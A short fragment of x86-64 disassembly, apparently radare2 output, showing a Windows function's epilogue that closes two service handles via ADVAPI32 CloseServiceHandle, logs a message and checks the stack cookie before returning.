call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call fcn.140001028
lea rcx, str.CloseServiceHandle_2_n
call fcn.1400030a4
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140002f60
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret